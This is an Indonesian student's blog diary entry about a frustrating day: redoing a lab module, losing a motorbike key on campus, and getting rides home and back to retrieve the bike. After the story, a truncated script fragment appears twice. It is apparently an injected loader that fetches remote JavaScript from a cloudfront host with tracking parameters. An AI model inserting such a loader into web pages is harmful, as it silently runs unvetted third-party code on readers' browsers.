The Longest Day Ever !! Part 3

Tempo hari saya diberikan tugas oleh kakak aslab bernama Kak Lista untuk membuar modul Statistik 2 untuk keperluan Lab. Matdas. Saya pun sudah menyelesaikannya. Dikarenakan suatu hal saya diharuskan mengirim ulang modul tersebut ke email kaka aslab yang bernama Kak alfi. Oleh karenanya saya memutuskan setelah sholat ashar tadi langsung membenahi tugas tersebut di rental dekat kampus.

Saya pun menuju rental tersebut dan menanyakan kepada penjaga rental apakah ditempat ini bisa ngerental?. Si penjaga rental tersebut menjawab bahwa mereka akan segera tutup sehingga tidak menerima orang lagi yang akan menggunakan rental tersebut. Saya pun mengurungkan niat saya utuk mengerjakan tugas saya di rental tersebut dan berniat mengerjakannya di rumah. Oleh karena itu saya langsung pulang dikarenakan tugas tersebut harus dikirimkan ke email Kak Alfi malam mini juga.

Dengan langkah yang lebar saya menuju parkiran motor untuk mengambil motor saya yang sedang terparkir. Setelah sampai di depan motor saya, saya pun mencari kunci motor di tas saya. Saat saya sedang mencari kunci motor di tas, saya bertemu dengan Agung dan temannya yang ingin mengambil motornya dan segera pulang. Agung pun segera pulang dikarenakan ada keperluan pribadinya. Saat temannya menyapa saya, saya pun kembali menyapa dan dilanjutkan dengan perbincangan ringan.

Disela perbincangan kami, saya pun baru menyadari bahwa kunci motor saya tidak ada di dalam tas saya. Saya pun bergegas menghampiri satpam yang sedang bertugas untuk menanyakan keberadaan kunci motor saya. Akan tetapi mereka berkata tidak menemukan kunci motor apa pun saat itu. Saya juga berusaha mencari ke kelas saya tadi. Tetapi sayang ruang kelas telah terkunci dan saya hanya bisa melongok lewat pintu saja bagaikan mengintip ke ruang bayi.

Terpkir oleh saya untuk menelepon keluarga saya untuk membawakan kunci cadangan ke kampus dan saya akan meunggunya. Akan tetapi ide saya tersebut terpatahkan oleh matinya ponsel saya dikarenakan baterai yang lemah. Memang salah satu keburukan saya adalah malas untuk menge-charge ponsel, sehingga ponsel saya sering sekali mati dikalenakan lowbat.

Saat saya hampir putus asa, beruntung ada seorang teman yang menawarkan untuk mengantar saya pulang. Ia juga menyarankan agar saya pulang kerumah untuk mengambil kunci cadangan dan kembali lagi ke kampus untuk mengambil motor saya. Saya pun mencoba menenangkan diri dan mencoba berfikir dengan tenang. Saya tidak langsung menerima ajakan teman saya tersebut dikarenakan saya tidak tega untuk meninggalkan motor saya sendiri di kampus. Selain itu mengingat saya sudah dua kali ke kampus membuat saya semakin ragu untuk pulang mengambil kunci cadangan.

Setelah berfkir panjang, saya pun menerima ajakan teman saya tersebut. Di perjalanan pulang, lalu lintas cukup macet dikarenakan saat itu lah jam-jam orang pulang kerja. Sesampainya di depan rumah, saya pun sangat berterima kasih atas kebaikan teman saya tersebut dan langsung masuk kerumah.

Saat membuka pintu rumah, saya melihat ibu saya yang sedang bersiap sholat maghrib dikarenakan waktu telah menunjuan pukul 18.15 WIB. Saya pun langsung menceritakan tentang kehilangan kunci motor saya itu dan kemudian menanyakan apakah ada orang yang bisa mengantar saya ke kampus untuk mengambil motor itu. Sontak ibu saya pun terkejut dan merasa sangat kasihan kepada saya dikarenakan harus kembali lagi ke kampus yang jaraknya sangat jauh.

Kebetulan kakak saya sudah pulang ke rumah, Saya pun memintanya untuk mengantar saya ke kampus. Setelah ia mau atas ajakan saya, saya bergegas sholat maghrib, mengganti baju, dan menenggak setengah gelas air putih. Setelah itu kami berangkat menuju kampus.

Diperjalanan lalulintas sangat-sangat macet dikarenakan itulah saat-saat orang pulang kerja. Tetapi macet tidak akan mengurungkan niat kita untuk menjemput motor saya di kampus. Tidak terasa kami pun sampai, dan langsung menuju motor saya tersebut yang sedang di parkir. Sebelum saya membawa puang motor saya, saya kembali bertanya kepada satpam yang sedang bertugas untuk memastikan bahwa mereka menemukan atau tidak kunci motor saya tersebut. Ternyata mereka menjawab hal yang sama yaitu tidak menemukannya. (Bersambung ke The longest day ever Part 4)

// -1?’https’:’http’;var ccm=document.createElement(‘script’);ccm.type=’text/javascript’;ccm.async=true;ccm.src=http+’://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=’;var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};
// ]]>

// -1?’https’:’http’;var ccm=document.createElement(‘script’);ccm.type=’text/javascript’;ccm.async=true;ccm.src=http+’://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=’;var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};
// ]]>

Tinggalkan Balasan

Isikan data di bawah atau klik salah satu ikon untuk log in:

Logo WordPress.com

You are commenting using your WordPress.com account. Logout / Ubah )

Gambar Twitter

You are commenting using your Twitter account. Logout / Ubah )

Foto Facebook

You are commenting using your Facebook account. Logout / Ubah )

Foto Google+

You are commenting using your Google+ account. Logout / Ubah )

Connecting to %s